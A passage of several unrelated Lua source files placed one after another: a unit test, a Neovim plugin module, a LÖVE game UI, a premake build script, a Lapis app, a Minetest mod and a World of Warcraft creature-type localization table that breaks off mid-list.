2","Test property is incorrect.") end) --[[ Tests extending with super class initializing. --]] NexusUnitTesting:RegisterUnitTest("SuperClassInitialization",function(UnitTest) --Extend the class. local TestClass1 = OverridableIndexInstance:Extend() local TestClass2 = TestClass1:Extend() function TestClass1:__getindex(Index,BaseIndex) if Index == "TestProperty1" then return "Test 1" elseif Index == "TestProperty2" then return "Test 2" end end function TestClass1:__new() self:InitializeSuper() UnitTest:AssertEquals(self.TestProperty1,"Test 1","Super class property is incorrect.") UnitTest:AssertEquals(self.TestProperty2,"Test 2","Super class property is incorrect.") end function TestClass2:__new() self:InitializeSuper() UnitTest:AssertEquals(self.TestProperty1,"Test 1","Class property is incorrect.") UnitTest:AssertEquals(self.TestProperty2,"Test 2","Class property is incorrect.") end --Create the component under testing. local CuT = TestClass2.new() UnitTest:AssertEquals(CuT.TestProperty1,"Test 1","Object property is incorrect.") UnitTest:AssertEquals(CuT.TestProperty2,"Test 2","Object property is incorrect.") end) return true
local vim = vim local api = vim.api local M = {} local globals = require 'vimwiki_server/globals' local u = require 'vimwiki_server/lib/utils' -- Should be called after a buffer is displayed in a window -- -- Will trigger the creation of a buffer's temporary file if it does not exist function M.on_enter_buffer_window() local tmp = globals.tmp -- Force immediate writing of file tmp:write_buffer(u.get_autocmd_bufnr(), true) end -- Should be called before a buffer's text is freed -- -- Will trigger removing the buffer from tmp tracker and deleting the buffer's -- temporary file function M.on_buffer_unload() local tmp = globals.tmp -- Remove buffer debouncer and temporary file tmp:remove_buffer(u.get_autocmd_bufnr()) end -- Should be called when a buffer's text is changed -- -- Will trigger a delayed refresh of the buffer's temporary file function M.on_text_changed() local tmp = globals.tmp -- Trigger potential writing of file unless more text changes quickly tmp:write_buffer(u.get_autocmd_bufnr()) end -- Should be called when leaving insert mode -- -- Will refresh the buffer's temporary file immediately function M.on_insert_leave() local tmp = globals.tmp -- Force immediate writing of file tmp:write_buffer(u.get_autocmd_bufnr(), true) end return M
-------------- -- UI Class -- -------------- local File = require 'src/File' local Window = require 'src/ui/Window' local Button = require 'src/ui/Button' local Mouse = require 'src/Mouse' local UI = { backgrounds = { shop = love.graphics.newImage('graphics/ui/ShopUI.png') }, font = { sprites = love.graphics.newFont('graphics/font/circulating-font.ttf'), width = 4, height = 6 } } function UI.load() Window.load() -- Set font local font = UI.font.sprites font:setFilter("nearest", "nearest") love.graphics.setFont(font) love.mouse.setVisible(false) Mouse.sprites.menus:setFilter('nearest', 'nearest') Mouse.sprites.player:setFilter('nearest', 'nearest') UI.backgrounds.shop:setFilter('nearest', 'nearest') UI.buttons = { menu = { Button:new(function() startGame() end, 'Play_Icon', 80 - 7, 45 - 7, 5), Button:new(function() gameState = 'shop - cold' UI.loadShopButtons() end, 'Shop_Icon', 1, 1, 3) }, play = { Button:new(function() end, 'MaxCoin_Icon', 1, 1, 5), Button:new(function() end, 'Coin_Icon', 1, 8, 5), Button:new(function() togglePause() end, 'Pause_Icon', 160 - 9, 1, 3) }, pause = { Button:new(function() end, 'MaxCoin_Icon', 1, 1, 5), Button:new(function() end, 'Coin_Icon', 1, 8, 5), Button:new(function() togglePause() end, 'Play_Icon', 80 - 7, 45 - 7, 5), Button:new(function() togglePause() end, 'Exit_Icon', 160 - 9, 1, 6) }, gameOver = { Button:new(function() startGame() end, 'Play_Icon', 80 - 7, 45, 5), Button:new(function() gameState = 'shop - cold' UI.loadShopButtons() end, 'Shop_Icon', 80 - 20, 47, 4), Button:new(function() gameState = 'menu' end, 'Menu_Icon', 80 + 9, 47, 4) }, shop = {}, settings = { } } if playingOnMobile then Shop.coinsPickedOnHover = true else table.insert(UI.buttons.menu, Button:new(function() File.save() love.event.quit() end, 'Exit_Icon', 160 - 13, 3, 6)) end end function UI.getList() local list if gameState == 'menu' then list = UI.buttons.menu elseif gameState == 'play' then list = UI.buttons.play elseif gameState == 'pause' then list = UI.buttons.pause elseif gameState == 'game over' then list = UI.buttons.gameOver elseif gameState == 'settings' then list = UI.buttons.settings elseif gameState == 'shop - cold' or gameState == 'shop - hot' then list = UI.buttons.shop end return list end function UI.print(text, x, y, scale) x = x * 12 * Window.screenWidthScale y = y * 12 * Window.screenHeightScale local widthScale = scale * Window.screenWidthScale local heightScale = scale * Window.screenHeightScale love.graphics.print(text, x, y, 0, widthScale, heightScale) end function UI.drawTexts() if gameState == 'menu' then UI.print("Highest Score: " .. Shop.highestScore, 80 - (UI.font.width * 15)/2, 1, 4) elseif gameState == 'play' or gameState == 'pause' then if math.ceil(countdown) > 0 then UI.print( math.ceil(countdown) , 80 - UI.font.width/2, 45 - UI.font.height, 5) end UI.print(Shop.totalMoney, 10, 1, 3) UI.print(Shop.money, 10, 8, 3) elseif gameState == 'game over' then UI.print("Game Over", 80 - (UI.font.width * 11)/2, 45 - 5 * UI.font.height, 5) UI.print("Highest Score: " .. Shop.highestScore, 80 - (UI.font.width * 15)/2, 45 - 3 * UI.font.height, 4) elseif gameState == 'shop - cold' or gameState == 'shop - hot' then if gameState == 'shop - cold' then UI.print("Cold Shop", 1, 1, 5) elseif gameState == 'shop - hot' then UI.print("Hot Shop", 1, 1, 5) end UI.print(Shop.totalMoney, 94, 1, 5) for itemNumber, item in ipairs(Shop.getItems()) do -- Item texts local y = 8 + (14 * itemNumber) UI.print(item.text, 22, y, 2) -- Item prices local price, x if item.level == item.maxLevel then price = "-" x = 110 else price = item.price if price < 100 then x = 108 + math.floor((itemNumber+1)/2) else x = 104 + math.floor((itemNumber+1)/2) end end UI.print(price, x, y, 5) end end end function UI.drawButtons() for tempo, button in ipairs( UI.getList() ) do love.graphics.draw(button.sprite, button.x, button.y, 0, button.scale, button.scale) end end function UI.loadShopButtons() -- First shop load Shop.addItem('coinsSpawnTime', 1) Shop.addItem('circleInitialPosition', 1) Shop.addItem('mouseSize', 1) Shop.addItem('circleSize', 1) Shop.addItem('circleSpeed', 1) -- Fixed buttons UI.buttons.shop = { Button:new(function() gameState = 'menu' end, 'Exit_Icon', 160 - 13, 3, 6), Button:new(function() gameState = 'shop - cold' UI.loadShopButtons() end, 'Shop_Cold_Icon', 0, 21, 12), Button:new(function() gameState = 'shop - hot' UI.loadShopButtons() end, 'Shop_Hot_Icon', 0, 56, 12) } -- Shop dependent buttons for itemNumber, item in ipairs(Shop.getItems()) do local x = 128 + math.floor((itemNumber+1)/2) local y = 9 + (14 * itemNumber) table.insert(UI.buttons.shop, Button:new(item:upgrade(), 'Plus_Icon', x, y, 12)) end end function UI.drawBackgrounds() -- Set color according to the temperature local red, green, blue = 255, 255, 255 if Shop.temperature < 0 then red = red - (-Shop.temperature) * 25 green = green - (-Shop.temperature) * 10 elseif Shop.temperature > 0 then green = green - Shop.temperature * 20 blue = green - 20 end love.graphics.setColor(red/255, green/255, blue/255) love.graphics.setBackgroundColor(0/255, 11/255, 13/255) if gameState == 'shop - cold' or gameState == 'shop - hot' then love.graphics.draw(UI.backgrounds.shop, 0, 0, 0, Window.width/160, Window.height/90) end end return UI
workspace "TypedEngine" architecture "x86_64" startproject "TypedEditor" toolset "gcc" gccprefix "ccache " configurations { "Debug", "Release" } flags { "MultiProcessorCompile" } filter "system:windows" systemversion "latest" -- Debug / Release Operating system x64 outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" IncludeDir = {} IncludeDir["freetype"] = "TypedEngine/external/freetype/include" IncludeDir["glad"] = "TypedEngine/external/glad/include" IncludeDir["glfw"] = "TypedEngine/external/glfw/include" IncludeDir["glm"] = "TypedEngine/external/glm" IncludeDir["lua"] = "TypedEngine/external/lua" IncludeDir["stb_image"] = "TypedEngine/external/stb_image" group "Dependencies" include "TypedEngine/external/glfw" include "TypedEngine/external/glad" include "TypedEngine/external/freetype" include "TypedEngine/external/lua" group "" project "TypedEngine" location "TypedEngine" kind "StaticLib" language "C++" cppdialect "C++17" staticruntime "on" targetdir("bin/" .. outputdir .. "/%{prj.name}") objdir("int/" .. outputdir .. "/%{prj.name}") files { "%{prj.location}/src/**.h", "%{prj.location}/src/**.cpp", "%{prj.location}/external/stb_image/**.h", "%{prj.location}/external/stb_image/**.cpp", "%{prj.location}/external/glm/glm/**.hpp", "%{prj.location}/external/glm/glm/**.inl", "%{prj.location}/src/**.c", "%{prj.location}/src/**.cxx" } includedirs { "%{prj.location}/src", "%{IncludeDir.glfw}", "%{IncludeDir.glad}", "%{IncludeDir.freetype}", "%{IncludeDir.lua}", "%{IncludeDir.glm}", "%{IncludeDir.stb_image}" } links { "TELua", "glad", "freetype", "lua", "glfw" } filter "toolset:gcc" links { "opengl32", "gdi32" } filter "toolset:msc*" links { "opengl32.lib", "gdi32.lib" } filter "configurations:Debug" runtime "Debug" symbols "on" defines { "TE_DEBUG" } filter "configurations:Release" runtime "Release" optimize "on" --------------------------------------------------------------- LUA UTILITY -------------------------------------------------------------- project "TELua" location "TypedEngine/src/Scripting" kind "Utility" prebuildcommands { "swig -c++ -lua core/TEcore.i" } filter "configurations:Debug" runtime "Debug" symbols "on" filter "configurations:Release" runtime "Release" optimize "on" --------------------------------------------------------------DLL EXPORT PROJECTS---------------------------------------------------------------------- project "TEcore" -- TypedEngine Core Library for Lua location "TypedEngine/src/Scripting" kind "SharedLib" language "C++" cppdialect "C++17" staticruntime "off" targetdir("%{prj.location}/bin/" .. outputdir .. "/%{prj.name}") objdir("%{prj.location}/int/" .. outputdir .. "/%{prj.name}") files { "%{prj.location}/**.h", "%{prj.location}/**.c", "%{prj.location}/**.cxx", } includedirs { "TypedEngine/src", "%{IncludeDir.lua}", "%{IncludeDir.glm}" } links { "TypedEngine", "TELua", "glad", "freetype", "lua", "glfw" } filter "toolset:gcc" links { "opengl32", "gdi32" } filter "toolset:msc" links { "opengl32.lib", "gdi32.lib" } filter "configurations:Debug" runtime "Debug" symbols "on" filter "configurations:Release" runtime "Release" optimize "on" -------------------------------------------------------------TYPEDEDITOR---------------------------------------------------------------------------- project "TypedEditor" location "TypedEditor" kind "ConsoleApp" language "C++" cppdialect "C++17" staticruntime "on" postbuildcommands { '@echo off && {COPY} "../TypedEditor/res" "%{cfg.targetdir}/res"', '@echo off && {COPY} "../TypedEditor/scripts" "%{cfg.targetdir}/scripts"', '@echo off && {COPY} "../TypedEditor/levels" "%{cfg.targetdir}/levels"', '@echo off && {COPY} "../TypedEngine/src/Scripting/bin/%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" "%{cfg.targetdir}/lib"', '@echo off && echo. && echo ">>>>>>>>>>>>>>> SUCCESS! <<<<<<<<<<<<<<<" && echo.' } targetdir("bin/" .. outputdir .. "/%{prj.name}") objdir("int/" .. outputdir .. "/%{prj.name}") files { "%{prj.location}/src/**.h", "%{prj.location}/src/**.cpp" } includedirs { "TypedEngine/src", "%{IncludeDir.glm}" } links { "TypedEngine", "TELua", "glad", "freetype", "lua", "glfw" } filter "toolset:gcc" links { "opengl32", "gdi32" } filter "toolset:msc" links { "opengl32.lib", "gdi32.lib" } filter "configurations:Debug" runtime "Debug" symbols "on" filter "configurations:Release" runtime "Release" optimize "on"
function test() local arr = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 } for i=1,1e7 do arr[8] = 234 arr[8] = 234 arr[8] = 234 arr[8] = 234 arr[8] = 234 arr[8] = 234 arr[8] = 234 arr[8] = 234 arr[8] = 234 arr[8] = 234 end end test()
local lapis = require("lapis") local console = require("lapis.console") do local _class_0 local _parent_0 = lapis.Application local _base_0 = { ["/lapis"] = function(self) return "Welcome to Lapis " .. tostring(require("lapis.version")) .. "!" end, ["/lapis/console"] = console.make() } _base_0.__index = _base_0 setmetatable(_base_0, _parent_0.__base) _class_0 = setmetatable({ __init = function(self, ...) return _class_0.__parent.__init(self, ...) end, __base = _base_0, __name = nil, __parent = _parent_0 }, { __index = function(cls, name) local val = rawget(_base_0, name) if val == nil then local parent = rawget(cls, "__parent") if parent then return parent[name] end else return val end end, __call = function(cls, ...) local _self_0 = setmetatable({}, _base_0) cls.__init(_self_0, ...) return _self_0 end }) _base_0.__class = _class_0 if _parent_0.__inherited then _parent_0.__inherited(_parent_0, _class_0) end return _class_0 end
-- Transforming Amulet definitions local modpath = minetest.get_modpath("transform") dofile(modpath .. "/amulet_actions.lua") minetest.register_craftitem( "transform:amulet", { description = "Transformation Amulet", inventory_image = "amulet_front.png", light_source = minetest.LIGHT_MAX, on_use = function(itemstack, user, pointed_thing) -- See if the pointed_thing is an animal / entity if pointed_thing and pointed_thing.ref then -- Put the clicked animal in the inventory local animal = pointed_thing.ref:get_luaentity().name minetest.log("Putting " .. animal .. " into inventory of " .. itemstack:get_name()) amulet.add_animal(user:get_wielded_item(), pointed_thing.ref) end end, on_secondary_use = function(itemstack, user, pointed_thing) minetest.log("Opening amulet inventory for " .. itemstack:get_name()) local animals = amulet.get_animals_for_amulet(user:get_wielded_item()) local x = 0 local y = 0 local formspec_items = "" for i, v in pairs(animals) do if v then local name = i minetest.log("Creating a button for " .. name) local button = "item_image_button[" .. x .. "," .. y .. ";1.0,1.0;" .. name .. ";animal;]" minetest.log(button) formspec_items = formspec_items .. button x = x + 1 if x == 8 then x = 0 y = y + 1 end end end local formspec = "formspec_version[4]" .. "size[8,3]" .. "label[0.5,0.5;Animals]" .. "scrollbaroptions[min=0;max=" .. y .. ";smallstep=1;largestep=2;thumbsize=105;arrows=default]" .. "scrollbar[7.8,0.8;0.2,2.5;vertical;program_scroll;0-" .. y .. "]" .. "scroll_container[0,1.0;9.5,3.0;program_scroll;vertical;0.1]" .. formspec_items .. "scroll_container_end[]" minetest.show_formspec( user:get_player_name(), "transform:amulet_inventory", formspec ) minetest.register_on_player_receive_fields( function(player, formname, fields) minetest.log("Processing fields received") -- Get user selection if formname ~= "transform:amulet_inventory" or not fields.animal then -- If it's not input from our inventory, do nothing return end if fields.quit then -- closed the inventory return end amulet.transform(player, fields.animal) end ) end, } ) minetest.register_craft( { output = "transform:amulet", recipe = { {"", "default:gold_ingot", ""}, {"default:mese_crystal", "default:diamond", "default:mese_crystal"}, {"", "transform:animal_gem", ""} } } ) minetest.register_on_craft(function(itemstack, player, old_craft_grid, craft_inv) amulet.setup_inventory(player) end)
--[[ Name: LibBabble-CreatureType-3.0 Revision: $Rev: 162 $ Maintainers: ckknight, nevcairiel, Ackis Website: http://www.wowace.com/projects/libbabble-creaturetype-3-0/ Dependencies: None License: MIT ]] local MAJOR_VERSION = "LibBabble-CreatureType-3.0" local MINOR_VERSION = 90000 + tonumber(("$Rev: 162 $"):match("%d+")) if not LibStub then error(MAJOR_VERSION .. " requires LibStub.") end local lib = LibStub("LibBabble-3.0"):New(MAJOR_VERSION, MINOR_VERSION) if not lib then return end local GAME_LOCALE = GetLocale() lib:SetBaseTranslations { ["Aberration"] = "Aberration", ["Abyssal"] = "Abyssal", ["Basilisk"] = "Basilisk", ["Bat"] = "Bat", ["Bear"] = "Bear", ["Beast"] = "Beast", ["Beetle"] = "Beetle", ["Bird of Prey"] = "Bird of Prey", ["Boar"] = "Boar", ["Carrion Bird"] = "Carrion Bird", ["Cat"] = "Cat", ["Chimaera"] = "Chimaera", ["Clefthoof"] = "Clefthoof", ["Core Hound"] = "Core Hound", ["Crab"] = "Crab", ["Crane"] = "Crane", ["Critter"] = "Critter", ["Crocolisk"] = "Crocolisk", ["Demon"] = "Demon", ["Devilsaur"] = "Devilsaur", ["Direhorn"] = "Direhorn", ["Dog"] = "Dog", ["Doomguard"] = "Doomguard", ["Dragonhawk"] = "Dragonhawk", ["Dragonkin"] = "Dragonkin", ["Elemental"] = "Elemental", ["Fel Imp"] = "Fel Imp", ["Felguard"] = "Felguard", ["Felhunter"] = "Felhunter", ["Fox"] = "Fox", ["Gas Cloud"] = "Gas Cloud", ["Ghoul"] = "Ghoul", ["Giant"] = "Giant", ["Goat"] = "Goat", ["Gorilla"] = "Gorilla", ["Humanoid"] = "Humanoid", ["Hydra"] = "Hydra", ["Hyena"] = "Hyena", ["Imp"] = "Imp", ["Mechanical"] = "Mechanical", ["Monkey"] = "Monkey", ["Moth"] = "Moth", ["Nether Ray"] = "Nether Ray", ["Non-combat Pet"] = "Non-combat Pet", ["Not specified"] = "Not specified", ["Observer"] = "Observer", ["Porcupine"] = "Porcupine", ["Quilen"] = "Quilen", ["Raptor"] = "Raptor", ["Ravager"] = "Ravager", ["Remote Control"] = "Remote Control", ["Rhino"] = "Rhino", ["Riverbeast"] = "Riverbeast", ["Rylak"] = "Rylak", ["Scorpid"] = "Scorpid", ["Serpent"] = "Serpent", ["Shale Spider"] = "Shale Spider", ["Shivarra"] = "Shivarra", ["Silithid"] = "Silithid", ["Spider"] = "Spider", ["Spirit Beast"] = "Spirit Beast", ["Sporebat"] = "Sporebat", ["Stag"] = "Stag", ["Succubus"] = "Succubus", ["Tallstrider"] = "Tallstrider", ["Terrorguard"] = "Terrorguard", ["Totem"] = "Totem", ["Turtle"] = "Turtle", ["Undead"] = "Undead", ["Voidlord"] = "Voidlord", ["Voidwalker"] = "Voidwalker", ["Warp Stalker"] = "Warp Stalker", ["Wasp"] = "Wasp", ["Water Elemental"] = "Water Elemental", ["Water Strider"] = "Water Strider", ["Wild Pet"] = "Wild Pet", ["Wind Serpent"] = "Wind Serpent", ["Wolf"] = "Wolf", ["Worm"] = "Worm", ["Wrathguard"] = "Wrathguard" } if GAME_LOCALE == "enUS" then lib:SetCurrentTranslations(true) elseif GAME_LOCALE == "deDE" then lib:SetCurrentTranslations { ["Aberration"] = "Entartung", ["Abyssal"] = "Abyssal", ["Basilisk"] = "Basilisk", ["Bat"] = "Fledermaus", ["Bear"] = "Bär", ["Beast"] = "Wildtier", ["Beetle"] = "Käfer", ["Bird of Prey"] = "Raubvogel", ["Boar"] = "Eber", ["Carrion Bird"] = "Aasvogel", ["Cat"] = "Katze", ["Chimaera"] = "Schimäre", ["Clefthoof"] = "Grollhuf", ["Core Hound"] = "Kernhund", ["Crab"] = "Krebs", ["Crane"] = "Kranich", ["Critter"] = "Kleintier", ["Crocolisk"] = "Krokilisk", ["Demon"] = "Dämon", ["Devilsaur"] = "Teufelssaurier", ["Direhorn"] = "Terrorhorn", ["Dog"] = "Hund", ["Doomguard"] = "Verdammniswache", ["Dragonhawk"] = "Drachenfalke", ["Dragonkin"] = "Drachkin", ["Elemental"] = "Elementar", ["Fel Imp"] = "Teufelswichtel", ["Felguard"] = "Teufelswache", ["Felhunter"] = "Teufelsjäger", ["Fox"] = "Fuchs", ["Gas Cloud"] = "Gaswolke", ["Ghoul"] = "Ghul", ["Giant"] = "Riese", ["Goat"] = "Ziege", ["Gorilla"] = "Gorilla", ["Humanoid"] = "Humanoid", ["Hydra"] = "Hydra", ["Hyena"] = "Hyäne", ["Imp"] = "Wichtel", ["Mechanical"] = "Mechanisch", ["Monkey"] = "Affe", ["Moth"] = "Motte", ["Nether Ray"] = "Netherrochen", ["Non-combat Pet"] = "Haustier", ["Not specified"] = "Nicht spezifiziert", ["Observer"] = "Beobachter", ["Porcupine"] = "Stachelschwein", ["Quilen"] = "Qilen", ["Raptor"] = "Raptor", ["Ravager"] = "Felshetzer", ["Remote Control"] = "Ferngesteuert", ["Rhino"] = "Rhinozeros", ["Riverbeast"] = "Flussbestie", ["Rylak"] = "Rylak", ["Scorpid"] = "Skorpid", ["Serpent"] = "Schlange", ["Shale Spider"] = "Schieferspinne", ["Shivarra"] = "Shivarra", ["Silithid"] = "Silithid", ["Spider"] = "Spinne", ["Spirit Beast"] = "Geisterbestie", ["Sporebat"] = "Sporensegler", ["Stag"] = "Hirsch", ["Succubus"] = "Sukkubus", ["Tallstrider"] = "Weitschreiter", ["Terrorguard"] = "Terrorwache", ["Totem"] = "Totem", ["Turtle"] = "Schildkröte", ["Undead"] = "Untoter", ["Voidlord"] = "Leerenfürst", ["Voidwalker"] = "Leerwandler", ["Warp Stalker"] = "Sphärenjäger", ["Wasp"] = "Wespe", ["Water Elemental"] = "Wasserelementar", ["Water Strider"] = "Wasserschreiter", ["Wild Pet"] = "Ungezähmtes Tier", ["Wind Serpent"] = "Windnatter", ["Wolf"] = "Wolf", ["Worm"] = "Wurm", ["Wrathguard"] = "Zornwächter" } elseif GAME_LOCALE == "frFR" then lib:SetCurrentTranslations { ["Aberration"] = "Aberration", ["Abyssal"] = "Abyssal", ["Basilisk"] = "Basilic", ["Bat"] = "Chauve-souris", ["Bear"] = "Ours", ["Beast"] = "Bête", ["Beetle"] = "Hanneton", ["Bird of Prey"] = "Oiseau de proie", ["Boar"] = "Sanglier", ["Carrion Bird"] = "Charognard", ["Cat"] = "Félin", ["Chimaera"] = "Chimère", ["Clefthoof"] = "Sabot-fourchu", ["Core Hound"] = "Chien du Magma", ["Crab"] = "Crabe", ["Crane"] = "Grue", ["Critter"] = "Bestiole", ["Crocolisk"] = "Crocilisque", ["Demon"] = "Démon", ["Devilsaur"] = "Diablosaure", ["Direhorn"] = "Navrecorne", ["Dog"] = "Chien", ["Doomguard"] = "Garde funeste", ["Dragonhawk"] = "Faucon-dragon", ["Dragonkin"] = "Draconien", ["Elemental"] = "Elémentaire", ["Fel Imp"] = "Diablotin gangrené", ["Felguard"] = "Gangregarde", ["Felhunter"] = "Chasseur corrompu", ["Fox"] = "Renard", ["Gas Cloud"] = "Nuage de gaz", ["Ghoul"] = "Goule", ["Giant"] = "Géant", ["Goat"] = "Chèvre", ["Gorilla"] = "Gorille", ["Humanoid"] = "Humanoïde", ["Hydra"] = "Hydre", ["Hyena"] = "Hyène", ["Imp"] = "Diablotin", ["Mechanical"] = "Machine", ["Monkey"] = "Singe", ["Moth"] = "Phalène", ["Nether Ray"] = "Raie du Néant", ["Non-combat Pet"] = "Familier pacifique", ["Not specified"] = "Non spécifié", ["Observer"] = "Observateur", ["Porcupine"] = "Porc-épic", ["Quilen"] = "Quilen", ["Raptor"] = "Raptor", ["Ravager"] = "Ravageur", ["Remote Control"] = "Télécommande", ["Rhino"] = "Rhinocéros", ["Riverbeast"] = "Potamodonte", ["Rylak"] = "Rylak", ["Scorpid"] = "Scorpide", ["Serpent"] = "Serpent", ["Shale Spider"] = "Shale Spider", ["Shivarra"] = "Shivarra", ["Silithid"] = "Silithide", ["Spider"] = "Araignée", ["Spirit Beast"] = "Esprit de bête", ["Sporebat"] = "Sporoptère", ["Stag"] = "Cerf", ["Succubus"] = "Succube", ["Tallstrider"] = "Haut-trotteur", ["Terrorguard"] = "Garde de terreur", ["Totem"] = "Totem", ["Turtle"] = "Tortue", ["Undead"] = "Mort-vivant", ["Voidlord"] = "Seigneur du Vide", ["Voidwalker"] = "Marcheur du Vide", ["Warp Stalker"] = "Traqueur dim.", ["Wasp"] = "Guêpe", ["Water Elemental"] = "Elémentaire d'eau", ["Water Strider"] = "Trotteur aquatique", ["Wild Pet"] = "Mascotte sauvage", ["Wind Serpent"] = "Serpent des vents", ["Wolf"] = "Loup", ["Worm"] = "Ver", ["Wrathguard"] = "Garde-courroux" } elseif GAME_LOCALE == "koKR" then lib:SetCurrentTranslations { ["Aberration"] = "돌연변이", ["Abyssal"] = "심연불정령", ["Basilisk"] = "바실리스크", ["Bat"] = "박쥐", ["Bear"] = "곰", ["Beast"] = "야수", ["Beetle"] = "딱정벌레", ["Bird of Prey"] = "맹금", ["Boar"] = "멧돼지", ["Carrion Bird"] = "독수리", ["Cat"] = "살쾡이", ["Chimaera"] = "키메라", ["Clefthoof"] = "갈래발굽", ["Core Hound"] = "심장부 사냥개", ["Crab"] = "게", ["Crane"] = "학", ["Critter"] = "동물", ["Crocolisk"] = "악어", ["Demon"] = "악마", ["Devilsaur"] = "데빌사우루스", ["Direhorn"] = "공포뿔", ["Dog"] = "개", ["Doomguard"] = "파멸의 수호병", ["Dragonhawk"] = "용매", ["Dragonkin"] = "용족", ["Elemental"] = "정령", ["Fel Imp"] = "지옥 임프", ["Felguard"] = "지옥수호병", ["Felhunter"] = "지옥사냥개", ["Fox"] = "여우", ["Gas Cloud"] = "가스", ["Ghoul"] = "구울", ["Giant"] = "거인", ["Goat"] = "염소", ["Gorilla"] = "고릴라", ["Humanoid"] = "인간형", ["Hydra"] = "히드라", ["Hyena"] = "하이에나", ["Imp"] = "임프", ["Mechanical"] = "기계", ["Monkey"] = "원숭이", ["Moth"] = "나방", ["Nether Ray"] = "황천의 가오리", ["Non-combat Pet"] = "애완동물", ["Not specified"] = "기타", ["Observer"] = "감시자", ["Porcupine"] = "호저", ["Quilen"] = "기렌", ["Raptor"] = "랩터", ["Ravager"] = "칼날발톱", ["Remote Control"] = "무선조종 장난감", ["Rhino"] = "코뿔소", ["Riverbeast"] = "강물하마", ["Rylak"] = "라일라크", ["Scorpid"] = "전갈", ["Serpent"] = "뱀", ["Shale Spider"] = "혈암 거미", ["Shivarra"] = "쉬바라", ["Silithid"] = "실리시드", ["Spider"] = "거미", ["Spirit Beast"] = "야수 정령", ["Sporebat"] = "포자날개", ["Stag"] = "사슴", ["Succubus"] = "서큐버스", ["Tallstrider"] = "타조", ["Terrorguard"] = "공포수호병", ["Totem"] = "토템", ["Turtle"] = "거북", ["Undead"] = "언데드", ["Voidlord"] = "공허군주", ["Voidwalker"] = "공허방랑자", ["Warp Stalker"] = "차원의 추적자", ["Wasp"] = "말벌", ["Water Elemental"] = "물 정령", ["Water Strider"] = "소금쟁이", ["Wild Pet"] = "야생 애완동물", ["Wind Serpent"] = "천둥매", ["Wolf"] = "늑대", ["Worm"] = "벌레", ["Wrathguard"] = "격노수호병" } elseif GAME_LOCALE == "esES" then lib:SetCurrentTranslations { ["Aberration"] = "Aberración", ["Abyssal"] = "Abisal", ["Basilisk"] = "Basilisco", ["Bat"] = "Murciélago", ["Bear"] = "Oso", ["Beast"] = "Bestia", ["Beetle"] = "Alfazaque", ["Bird of Prey"] = "Ave rapaz", ["Boar"] = "Jabalí", ["Carrion Bird"] = "Carroñero", ["Cat"] = "Felino", ["Chimaera"] = "Quimera", ["Clefthoof"] = "Uñagrieta", ["Core Hound"] = "Can del Núcleo", ["Crab"] = "Cangrejo", ["Crane"] = "Grulla", ["Critter"] = "Alma", ["Crocolisk"] = "Crocolisco", ["Demon"] = "Demonio", ["Devilsaur"] = "Demosaurio", ["Direhorn"] = "Cuernoatroz", ["Dog"] = "Perro", ["Doomguard"] = "Guardia apocalíptico", ["Dragonhawk"] = "Dracohalcón", ["Dragonkin"] = "Dragón", ["Elemental"] = "Elemental", ["Fel Imp"] = "Diablillo vil", ["Felguard"] = "Guardia vil", ["Felhunter"] = "Manáfago", ["Fox"] = "Zorro", ["Gas Cloud"] = "Nube de Gas", ["Ghoul"] = "Necrófago", ["Giant"] = "Gigante", ["Goat"] = "Cabra", ["Gorilla"] = "Gorila", ["Humanoid"] = "Humanoide", ["Hydra"] = "Hidra", ["Hyena"] = "Hiena", ["Imp"] = "Diablillo", ["Mechanical"] = "Mecánico", ["Monkey"] = "Mono", ["Moth"] = "Palomilla", ["Nether Ray"] = "Raya abisal", ["Non-combat Pet"] = "Mascota no combatiente", ["Not specified"] = "No especificado", ["Observer"] = "Observador", ["Porcupine"] = "Puercoespín", ["Quilen"] = "Quilen", ["Raptor"] = "Raptor", ["Ravager"] = "Devastador", ["Remote Control"] = "Control remoto", ["Rhino"] = "Rinoceronte", ["Riverbeast"] = "Bestia fluvial", ["Rylak"] = "Rylak", ["Scorpid"] = "Escórpido", ["Serpent"] = "Serpiente", ["Shale Spider"] = "Araña de esquisto", ["Shivarra"] = "Shivarra", ["Silithid"] = "Silítido", ["Spider"] = "Araña", ["Spirit Beast"] = "Bestia espíritu", ["Sporebat"] = "Esporiélago", ["Stag"] = "Venado", ["Succubus"] = "Súcubo", ["Tallstrider"] = "Zancaalta", ["Terrorguard"] = "Guarda terrorífico", ["Totem"] = "Tótem", ["Turtle"] = "Tortuga", ["Undead"] = "No-muerto", ["Voidlord"] = "Señor del vacío", ["Voidwalker"] = "Abisario", ["Warp Stalker"] = "Acechador deformado", ["Wasp"] = "Avispa", ["Water Elemental"] = "Elemental de agua", ["Water Strider"] = "Zancudo acuático", ["Wild Pet"] = "Mascota salvaje", ["Wind Serpent"] = "Serpiente alada", ["Wolf"] = "Lobo", ["Worm"] = "Gusano", ["Wrathguard"] = "Guardia de cólera" } elseif GAME_LOCALE == "esMX" then lib:SetCurrentTranslations { ["Aberration"] = "Aberración", ["Abyssal"] = "Abisal", ["Basilisk"] = "Basilisco", ["Bat"] = "Murciélago", ["Bear"] = "Oso", ["Beast"] = "Bestia", ["Beetle"] = "Alfazaque", ["Bird of Prey"] = "Ave rapaz", ["Boar"] = "Jabalí", ["Carrion Bird"] = "Carroñero", ["Cat"] = "Felino", ["Chimaera"] = "Quimera", ["Clefthoof"] = "Uñagrieta", ["Core Hound"] = "Can del Núcleo", ["Crab"] = "Cangrejo", ["Crane"] = "Grulla", ["Critter"] = "Alma", ["Crocolisk"] = "Crocolisco", ["Demon"] = "Demonio", ["Devilsaur"] = "Demosaurio", ["Direhorn"] = "Cuernoatroz", ["Dog"] = "Perro", ["Doomguard"] = "Guardia apocalíptico", ["Dragonhawk"] = "Dracohalcón", ["Dragonkin"] = "Dragon", ["Elemental"] = "Elemental", ["Fel Imp"] = "Diablillo vil", ["Felguard"] = "Guardia vil", ["Felhunter"] = "Manáfago", ["Fox"] = "Zorro", ["Gas Cloud"] = "Nube de Gas", ["Ghoul"] = "Necrófago", ["Giant"] = "Gigante", ["Goat"] = "Cabra", ["Gorilla"] = "Gorila", ["Humanoid"] = "Humanoide", ["Hydra"] = "Hidra", ["Hyena"] = "Hiena", ["Imp"] = "Diablillo", ["Mechanical"] = "Mecánico", ["Monkey"] = "Mono", ["Moth"] = "Palomilla", ["Nether Ray"] = "Raya abisal", ["Non-combat Pet"] = "Mascota mansa", ["Not specified"] = "Sin especificar", ["Observer"] = "Observador", ["Porcupine"] = "Puercoespín", 